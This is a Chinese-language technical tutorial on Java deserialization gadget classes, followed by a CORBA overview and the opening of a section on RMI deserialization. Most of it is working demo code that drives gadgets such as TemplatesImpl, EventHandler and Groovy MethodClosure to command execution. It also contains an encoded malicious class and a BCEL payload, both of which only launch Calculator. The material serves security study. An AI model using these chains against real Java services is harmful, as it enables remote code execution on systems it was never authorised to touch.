Java反序列化和JNDI注入
一、反序列化常見利用類
利用類的作用:加載類或者執(zhí)行命令。
// 類加載 (1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以間接調(diào)用TemplatesImpl) (2)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL) // 反射調(diào)用 (3)javax.imageio.ImageIO$ContainsFilter (4)java.beans.EventHandler (5)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection // 非JDK自帶 (6)org.codehaus.groovy.runtime.MethodClosure (7)org.codehaus.groovy.runtime.ConvertedClosure (8)groovy.util.Expando(1)TemplatesImpl
TemplatesImpl用于CommonsBeanutils、Fastjson,其調(diào)用鏈如下,核心在于得到惡意類的Class對(duì)象。然后執(zhí)行newInstance()操作觸發(fā)static代碼塊中的惡意代碼。
TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()ClassLoader.defineClass()Class.newInstance()具體調(diào)用過程如下:
public synchronized Properties getOutputProperties() {return newTransformer().getOutputProperties(); }public synchronized Transformer newTransformer() throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);}private Translet getTransletInstance() throws TransformerConfigurationException {if (_name == null) return null; // 為了執(zhí)行到下面的代碼,_name不能為null(_name代表主類的名稱)if (_class == null) defineTransletClasses(); // _class:包含translet類定義的實(shí)際類// newInstance時(shí)會(huì)被轉(zhuǎn)換為AbstractTranslet,所以惡意類需要繼承自AbstractTransletAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();...return translet; }private void defineTransletClasses() throws TransformerConfigurationException {final int classCount = _bytecodes.length;_class = new Class[classCount];for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]); // _bytecodes設(shè)置為惡意類的字節(jié)碼final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}} }Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length); }Demo如下,其核心在于getTransInstance()會(huì)調(diào)用defineTransletClasses()加載字節(jié)碼為Class,然后.newInstance()進(jìn)行實(shí)例化:
public class TemplateTest {public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {String cmdb64="yv66vgAAADQAQAoACwAmCQAnACgIACkKACoAKwoALAAtCAAuCgAsAC8HADAIADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xUZW1wbGF0ZXNJbXBsVGVzdDsBAA1TdGFja01hcFRhYmxlBwAyBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxUZXN0LmphdmEMAAwADQcANQwANgA3AQAcVGVtcGxhdGVzSW1wbCBDb25zdHVjdG9yIHJ1bgcAOAwAOQA6BwA7DAA8AD0BABJvcGVuIC1hIENhbGN1bGF0b3IMAD4APwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFUZW1wbGF0ZXNJbXBsIHJ1bgEAEVRlbXBsYXRlc0ltcGxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAQAAQAMAA0AAQAOAAAAcgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABYABQAAAA8ABAARAAwAEgAVABMAGQAUABAAAAAMAAEAAAAaABEAEgAAABMAAAAQAAL/ABgAAQcAFAABBwAVAAABABYAFwACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAAGQAQAAAAIAADAAAAAQARABIAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQABABYAHgACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAAHgAQAAAAKgAEAAAAAQARABIAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0ACAAjAA0AAQAOAAAAVwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAEgAEAAAACgAIAAsAEQAMABUADQAQAAAAAgAAABMAAAAHAAJUBwAVAAABACQAAAACACU=";BASE64Decoder decoder=new sun.misc.BASE64Decoder();byte[] classBytes=decoder.decodeBuffer(cmdb64);TemplatesImpl templates=TemplatesImpl.class.newInstance();Field f1=templates.getClass().getDeclaredField("_bytecodes");f1.setAccessible(true);f1.set(templates,new byte[][]{classBytes});Field f2=templates.getClass().getDeclaredField("_name");f2.setAccessible(true);f2.set(templates,"TemplatesImplTest");Field f3=templates.getClass().getDeclaredField("_tfactory");f3.setAccessible(true);f3.set(templates,TransformerFactoryImpl.class.newInstance());templates.getOutputProperties(); // 觸發(fā)} }需要注意引入的包是這兩個(gè)(這種更通用,沒有類路徑限制)。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;與之類似的還有這種(類路徑上有需要有Xalan實(shí)現(xiàn))。
import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;BeanComparator觸發(fā)
BeanComparator中的compare方法,參數(shù)傳入兩個(gè)對(duì)象,然后比較這兩個(gè)對(duì)象的屬性,也就是說getProperty(o1,property)這步會(huì)調(diào)用o1的property屬性。也就是調(diào)用o1這個(gè)類中對(duì)應(yīng)的getxxProperty()方法。而TemplatesImpl鏈的入口正是TemplatesImpl.getOutputProperties()所以只需要o1傳入TemplatesImpl,property傳入_outputProperties。
ToStringBean觸發(fā)
ToStringBean的toString方法獲取beanClass所有的帶有g(shù)etter方法的屬性,然后invoke(this.obj)反射調(diào)用getter方法,但是這個(gè)invoke的限制是不能傳入?yún)?shù),所以在利用時(shí)需要選取無參方法。
getPropertyDescriptorsWithGetters方法如下:
(2)ServiceLoader
先說一下SPI(Service Provider Interface),JDK內(nèi)置的服務(wù)提供發(fā)現(xiàn)機(jī)制。Service通常指接口/抽象類,Provider則是接口的具體實(shí)現(xiàn)。假設(shè)Service接口為HelloService,它的實(shí)現(xiàn)類Provider可能包括EnglishHelloServiceImpl、ChineseHelloServiceImpl等,
那么可以在/META-INF/services/目錄下創(chuàng)建一個(gè)Service的全限定類名命名的文件例如com.axisx.Service,文件的具體內(nèi)容如下:
這樣就可以直接調(diào)用服務(wù)對(duì)應(yīng)的各類Provider。
ServiceLoader<HelloService> serviceLoader = ServiceLoader.load(HelloService.class); Iterator<HelloService> it = serviceLoader.iterator(); while (it!=null && it.hasNext()) {DemoService demoService = it.next();}上一篇提到過BCEL還可以用Class.forName來寫:
ClassLoader classLoader= new ClassLoader();String bcelCode="$$BCEL$$..."; // new ClassLoader().loadClass(bcelCode).newInstance();Class.forName(bcelCode,true,classLoader);ServiceLoader的內(nèi)部類LazyIterator中存在Class.forName方法,loader是該內(nèi)部類構(gòu)造方法傳入的。
nextService方法的觸發(fā)是LazyIterator.next(),那么就需要找到類似this.serviceIterator.hasNext()的代碼來觸發(fā)。與ServiceLoader類似的還有ServiceFinder,同樣可以調(diào)用Class.forName:
以ServiceFinder為例,cn字符串傳入由內(nèi)部類ServiceName的className字段控制。生成的ServiceName需要放入LazyIterator1的names數(shù)組中。loader由自身構(gòu)造函數(shù)LazyIterator傳入。
private static class LazyIterator<T> implements Iterator<T> {Class<T> service;@NullableClassLoader loader;ServiceFinder.ServiceName[] names;int index;...}private static class ServiceName {final String className;final URL config;public ServiceName(String className, URL config) {this.className = className;this.config = config;}}由于是內(nèi)部類用反射來寫。
public class ServiceLoadTest {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {Class ServiceName=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");Constructor constructor1=ServiceName.getConstructor(String.class, URL.class);constructor1.setAccessible(true);String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";Object ServiceNameObj=constructor1.newInstance(bcelCode,null);Object ServiceNameArray= Array.newInstance(ServiceName,1);Array.set(ServiceNameArray,0,ServiceNameObj);Class LazyIterator=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");Constructor constructor2=LazyIterator.getDeclaredConstructors()[1];constructor2.setAccessible(true);Object LazyIteratorObj=constructor2.newInstance(String.class,new ClassLoader());Field f1=LazyIterator.getDeclaredField("names");f1.setAccessible(true);f1.set(LazyIteratorObj,ServiceNameArray);Method m1=LazyIterator.getDeclaredMethod("next"); //觸發(fā)m1.setAccessible(true);m1.invoke(LazyIteratorObj,null);} }(3)ImageIO
javax.imageio.ImageIO$ContainsFilter,一眼看過去就存在明顯的反射,某個(gè)類的方法。但是invoke后面只能傳入Object對(duì)象,也就是這個(gè)方法需要無參。
例如調(diào)用ProcessBuilder執(zhí)行命令:
public class ImageIOTest {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");Constructor constructor1=ProcessBuilder.getConstructor(String[].class);constructor1.setAccessible(true);Object Pro=constructor1.newInstance((Object)cmd);Method m1=ProcessBuilder.getDeclaredMethod("start"); // m1.invoke(Pro);Class ContainsFilter=Class.forName("javax.imageio.ImageIO$ContainsFilter");Constructor constructor2=ContainsFilter.getConstructor(Method.class,String.class);constructor2.setAccessible(true);Object Obj=constructor2.newInstance(m1,"lalala");Method m2=ContainsFilter.getDeclaredMethod("filter",Object.class);m2.setAccessible(true);m2.invoke(Obj,Pro);} }(4)EventHandler
看一下java.beans.EventHandler源碼,invokeInternal同樣用到了反射,并且EventHandler的構(gòu)造函數(shù),可以控制target和action,最終反射用到的targetMethod是根據(jù)target和action生成的所以也是可控。
public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName)但是想要執(zhí)行到反射代碼,method名稱不能為hashCode、equals、toString,否則運(yùn)行不到最后。另外Method的參數(shù)要么是空,要么是單個(gè)參數(shù)。
調(diào)用invokeInternal寫個(gè)demo:
public class EventHandlerTest {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");Constructor constructor1=ProcessBuilder.getConstructor(String[].class);constructor1.setAccessible(true);Object Pro=constructor1.newInstance((Object)cmd);Method m1=ProcessBuilder.getDeclaredMethod("start");Class EventHandler=Class.forName("java.beans.EventHandler");Constructor constructor2=EventHandler.getConstructor(Object.class,String.class,String.class,String.class);constructor2.setAccessible(true);Object Handler=constructor2.newInstance(Pro,"start",null,null);Method m2=EventHandler.getDeclaredMethod("invokeInternal",Object.class,Method.class,Object[].class);Object[] objects=new Object[]{Pro};m2.setAccessible(true);m2.invoke(Handler,null,m1,objects);} }(5)GetterSetterReflection
com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection也是一個(gè)invoke的反射調(diào)用,但是invoke中只能傳入類對(duì)象,無法傳入?yún)?shù)。所以不能采用Runtime.exec(cmd)這種需要傳參的命令執(zhí)行方法,而是采用ProcessBuilder.start()等無參方法。
public class GetterSetterReflectionTest {public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, AccessorException {String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};Class ProcessCls=Class.forName("java.lang.ProcessBuilder");Constructor constructor1=ProcessCls.getConstructor(String[].class);constructor1.setAccessible(true);Object ProcessBuilderObj=constructor1.newInstance((Object) cmd);Method m1=ProcessCls.getDeclaredMethod("start");m1.setAccessible(true); // m1.invoke(ProcessBuilderObj);Class cls=Class.forName("com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection");Constructor constructor=cls.getConstructor(Method.class,Method.class);constructor.setAccessible(true);Accessor.GetterSetterReflection GetterObj= (Accessor.GetterSetterReflection) constructor.newInstance(m1,null);GetterObj.get(ProcessBuilderObj);} }(6)MethodClosure(Groovy)
這個(gè)類位于Groovy的jar包,屬于非JDK自帶的類,org.codehaus.groovy.runtime.MethodClosure
doCall方法明顯是反射執(zhí)行方法,寫腳本測(cè)試一下:
public class MethodClosureTest {public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {Object methodArgs="open -a Calculator";MethodClosure methodClosure=new MethodClosure(Runtime.getRuntime(),"exec"); // methodClosure.call(methodArgs);Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);m1.setAccessible(true);m1.invoke(methodClosure,methodArgs);} }或者用ProcessBuilder:
public class MethodClosureTest {public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {Object obj=null;String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);m1.setAccessible(true);m1.invoke(methodClosure,obj);} }(7)ConvertedClosure(Groovy)
一個(gè)動(dòng)態(tài)代理的Demo,handler需要實(shí)現(xiàn)InvocationHandler,重寫了invoke方法,那么在執(zhí)行Proxy.newProxyInstance時(shí)自動(dòng)調(diào)用invoke方法。
public class Main {public static void main(String[] args) {InvocationHandler handler = new InvocationHandler() {@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println(method);if (method.getName().equals("morning")) {System.out.println("Good morning, " + args[0]);}return null;}};Hello hello = (Hello) Proxy.newProxyInstance(Hello.class.getClassLoader(), // 傳入ClassLoadernew Class[] { Hello.class }, // 傳入要實(shí)現(xiàn)的接口handler); // 傳入處理調(diào)用方法的InvocationHandlerhello.morning("Bob");} }interface Hello {void morning(String name); }ConvertedClosure的源碼如下,繼承自ConversionHandler:
ConversionHandler實(shí)現(xiàn)了InvocationHandler,并重寫了invoke方法。所以如果執(zhí)行Proxy.newProxyInstance就會(huì)調(diào)用這個(gè)invoke。invoke方法根據(jù)傳入的method參數(shù)不同進(jìn)入不同的邏輯。
if:傳入的method所屬類為接口,else if:傳入的method不是Object對(duì)象中的方法(如hashcode、toString等),這步的checkMethod具體的判斷代碼是return Object.class.equals(method.getDeclaringClass());所以傳入Runtime.getRuntime.exec這種命令執(zhí)行方法,會(huì)走到else if中,調(diào)用ConvertedClosure.invokeCustom(),進(jìn)而執(zhí)行call方法,反射執(zhí)行方法。
所以下面demo中的后兩步就在觸發(fā)動(dòng)態(tài)代理的invoke,進(jìn)而觸發(fā)invokeCustom:
public class ConvertedClosureTest {public static void main(String[] args) {String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,"entrySet");Map map= (Map) Proxy.newProxyInstance(ConvertedClosureTest.class.getClassLoader(), new Class[]{Map.class},convertedClosure);map.entrySet();} }(8)Expando(Groovy)
同樣是調(diào)用call方法,只是需要properties中存在一個(gè)鍵為hashCode,值為Closure的子類。
利用上述的MethodClosure.call(),也就是將值傳為MethodClosure。
public class ExpandoTest {public static void main(String[] args) {Map map = new HashMap<Expando, Integer>();Expando expando = new Expando();String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start"); // methodClosure.call();expando.setProperty("hashCode", methodClosure);map.put(expando, 123);expando.hashCode();} }二、CORBA概述
CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對(duì)象請(qǐng)求代理體系結(jié)構(gòu),是OMG(對(duì)象管理組織,一個(gè)非盈利性的計(jì)算機(jī)行業(yè)標(biāo)準(zhǔn)協(xié)會(huì))制定的一種標(biāo)準(zhǔn)的面向?qū)ο髴?yīng)用程序體系規(guī)范。其提出是為了解決不同應(yīng)用程序間的通信,曾是分布式計(jì)算的主流技術(shù)。
CORBA標(biāo)準(zhǔn)主要分為三個(gè)部分,IDL(接口語言)、ORB(對(duì)象請(qǐng)求代理)、IIOP(ORB之間的操作協(xié)議)。
其結(jié)構(gòu)主要分為三部分:naming service、client side、servant side。它們的關(guān)系可以理解成目錄(naming service)與章節(jié)內(nèi)容(servant side)的關(guān)系,內(nèi)容需要現(xiàn)在目錄里進(jìn)行注冊(cè)。
CORBA和Java都采用面向?qū)ο蠹夹g(shù),并且都適用于開發(fā)分布式應(yīng)用,所不同的是:CORBA偏重于通用的分布式應(yīng)用開發(fā),而Java注重于WWW環(huán)境中的分布式應(yīng)用開發(fā)。
基礎(chǔ)概念
IDL(Interface Definition Language,接口定義語言),它是一種與編程語言無關(guān)的對(duì)于接口描述的規(guī)范,實(shí)現(xiàn)跨語言跨環(huán)境遠(yuǎn)程對(duì)象調(diào)用。CORBA用的就是基于IDL的OMG IDL(對(duì)象管理標(biāo)準(zhǔn)化接口定義語言)。
CORBA中的“ORB”(ObjectRequest Broker,對(duì)象請(qǐng)求代理)是一個(gè)中間件/代理,建立起服務(wù)端與客戶端的關(guān)系調(diào)用。對(duì)象可以在本地也可以在其他服務(wù)器上,ORB截獲客戶的調(diào)用操作,并查找實(shí)現(xiàn)服務(wù)的對(duì)象,傳遞參數(shù),調(diào)用方法并返回結(jié)果。
GIOP(General Inter-ORB Protocol ,通用對(duì)象請(qǐng)求協(xié)議),是CORBA用來進(jìn)行數(shù)據(jù)傳輸?shù)膮f(xié)議,針對(duì)不同的通訊層有不同的實(shí)現(xiàn)。而對(duì)于TCP/IP層,其實(shí)現(xiàn)名為IIOP(Internet Inter-ORB Protocol),也可以說IIOP是通過TCP協(xié)議傳輸?shù)腉IOP數(shù)據(jù)。
過程分析
naming service
ORBD可以理解為ORB的守護(hù)進(jìn)程,其主要負(fù)責(zé)建立客戶端(client side)與服務(wù)端(servant side)的關(guān)系,同時(shí)負(fù)責(zé)查找指定的IOR(可互操作對(duì)象引用,是一種數(shù)據(jù)結(jié)構(gòu),是CORBA標(biāo)準(zhǔn)的一部分)。ORBD是由Java原生支持的一個(gè)服務(wù),其在整個(gè)CORBA通信中充當(dāng)著naming service的作用。
IOR
IOR是一種數(shù)據(jù)結(jié)構(gòu),提供關(guān)于類型、協(xié)議支持和可用ORB服務(wù)的信息。它通常提供獲取對(duì)象的初始引用的方法,可以是命名服務(wù)(naming service)、事務(wù)服務(wù)(transaction services),也可以是定制的CORBA服務(wù)。
Stub生成
Stub有很多種生成方式,如:
(1)獲取NameServer然后后通過resolve_str()方法生成(NameServer生成方式)。
Properties properties = new Properties(); properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1"); properties.put("org.omg.CORBA.ORBInitialPort", "1050"); ORB orb = ORB.init(args, properties); org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); String name = "Hello"; helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));(2)使用ORB.string_to_object生成(ORB生成方式)。
//第一種 ORB orb = ORB.init(args, null); org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello"); Hello hello = HelloHelper.narrow(obj); //第二種 ORB orb = ORB.init(args, null); org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050"); NamingContextExt ncRef = NamingContextExtHelper.narrow(obj); Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));(3)使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)
ORB orb = ORB.init(args, null); Hashtable env = new Hashtable(5, 0.75f); env.put("java.naming.corba.orb", orb); Context ic = new InitialContext(env); Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));Helloworld Demo
如果要開發(fā)一個(gè)CORBA的Helloworld,創(chuàng)建一個(gè)helloworld.idl:
//helloworld.idl module helloworld{ //module對(duì)應(yīng)了java中的packageinterface HelloWorld{string sayHello();}; };在java命令行下執(zhí)行idlj -fall helloworld.idl將IDL語言翻譯成JAVA語言,生成server和client端代碼,然后會(huì)生成_HelloWorldStub.java(實(shí)現(xiàn)了HelloWorld接口)、HelloWorld.java(未實(shí)現(xiàn)接口)、HelloWorldHelper.java(包含幫助函數(shù),用于處理通過網(wǎng)絡(luò)傳輸?shù)膶?duì)象)、HelloWorldHolder.java、HelloWorldOperations.java(IDL聲明的接口)、HelloWorldPOA.java(server的實(shí)現(xiàn)接口)。POA(Portable Object Adapter),是CORBA規(guī)范的一部分,該類中的方法可以將對(duì)象注冊(cè)到naming service上。
public class HelloServer {public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {//指定ORB的端口號(hào) -ORBInitialPort 1050args = new String[2];args[0] = "-ORBInitialPort";args[1] = "1050";//創(chuàng)建一個(gè)ORB實(shí)例ORB orb = ORB.init(args, null);//拿到RootPOA的引用,并激活POAManager,相當(dāng)于啟動(dòng)了serverorg.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");POA rootpoa = POAHelper.narrow(obj);rootpoa.the_POAManager().activate();//創(chuàng)建一個(gè)HelloWorldImpl實(shí)例HelloWorldImpl helloImpl = new HelloWorldImpl();//從服務(wù)中得到對(duì)象的引用,并注冊(cè)到服務(wù)中org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);HelloWorld href = HelloWorldHelper.narrow(ref);//得到一個(gè)根名稱的上下文org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);//在命名上下文中綁定這個(gè)對(duì)象String name = "Hello";NameComponent path[] = ncRef.to_name(name);ncRef.rebind(path, href);//啟動(dòng)線程服務(wù),等待客戶端調(diào)用orb.run();System.out.println("server startup...");} public class HelloClient {static HelloWorld helloWorldImpl;static {//初始化ip和端口號(hào),-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050String args[] = new String[4];args[0] = "-ORBInitialHost";//server端的IP地址,在HelloServer中定義的args[1] = "127.0.0.1";args[2] = "-ORBInitialPort";//server端的端口,在HelloServer中定義的args[3] = "1050";//創(chuàng)建一個(gè)ORB實(shí)例ORB orb = ORB.init(args, null);// 獲取根名稱上下文org.omg.CORBA.Object objRef = null;try {objRef = orb.resolve_initial_references("NameService");} catch (InvalidName e) {e.printStackTrace();}NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);String name = "Hello";try {//通過ORB拿到了server實(shí)例化好的實(shí)現(xiàn)類helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));} catch (NotFound e) {e.printStackTrace();} catch (CannotProceed e) {e.printStackTrace();} catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {e.printStackTrace();}}public static void main(String args[]) throws Exception {sayHello();}//調(diào)用實(shí)現(xiàn)類的方法public static void sayHello() {String str = helloWorldImpl.sayHello();System.out.println(str);}三、RMI反序列化漏洞
RMI遠(yuǎn)程調(diào)用過程
RMI對(duì)于遠(yuǎn)程對(duì)象是將其Stub(類似引用/代理,包含遠(yuǎn)程對(duì)象的定位信息,如Socket端口、服務(wù)端主機(jī)地址等)傳遞,客戶端可以像調(diào)用本地方法一樣通過Stub調(diào)用遠(yuǎn)程方法。
客戶端發(fā)起請(qǐng)求,請(qǐng)求轉(zhuǎn)交至RMI客戶端的stub類,stub類將請(qǐng)求的接口、方法、參數(shù)等信息進(jìn)行序列化,然后基于tcp/ip將序列化后的流傳輸至服務(wù)器端,轉(zhuǎn)至skeleton類,該類將請(qǐng)求的信息反序列化后調(diào)用實(shí)際的類進(jìn)行處理,然后再將處理結(jié)果返回給skeleton類,skeleton類將結(jié)果序列化,通過tcp/ip將流傳送給客戶端的stub,stub接收到流后將其反序列化,再將反序列化后的Java Object返回給調(diào)用者。
(1)Stub獲取方式
Stub的獲取方式有很多,常見的方法是調(diào)用某個(gè)遠(yuǎn)程服務(wù)上的方法,向遠(yuǎn)程服務(wù)獲取存根。但是調(diào)用遠(yuǎn)程方法又必須先有遠(yuǎn)程對(duì)象的Stub,所以這里有個(gè)死循環(huán)問題。JDK提供了一個(gè)RMI注冊(cè)表(RMIRegistry)來解決這個(gè)問題。RMIRegistry也是一個(gè)遠(yuǎn)程對(duì)象,默認(rèn)監(jiān)聽在1099端口上,可以使用代碼啟動(dòng)RMIRegistry,也可以使用rmiregistry命令。要注冊(cè)遠(yuǎn)程對(duì)象,需要RMI URL和一個(gè)遠(yuǎn)程對(duì)象的引用。
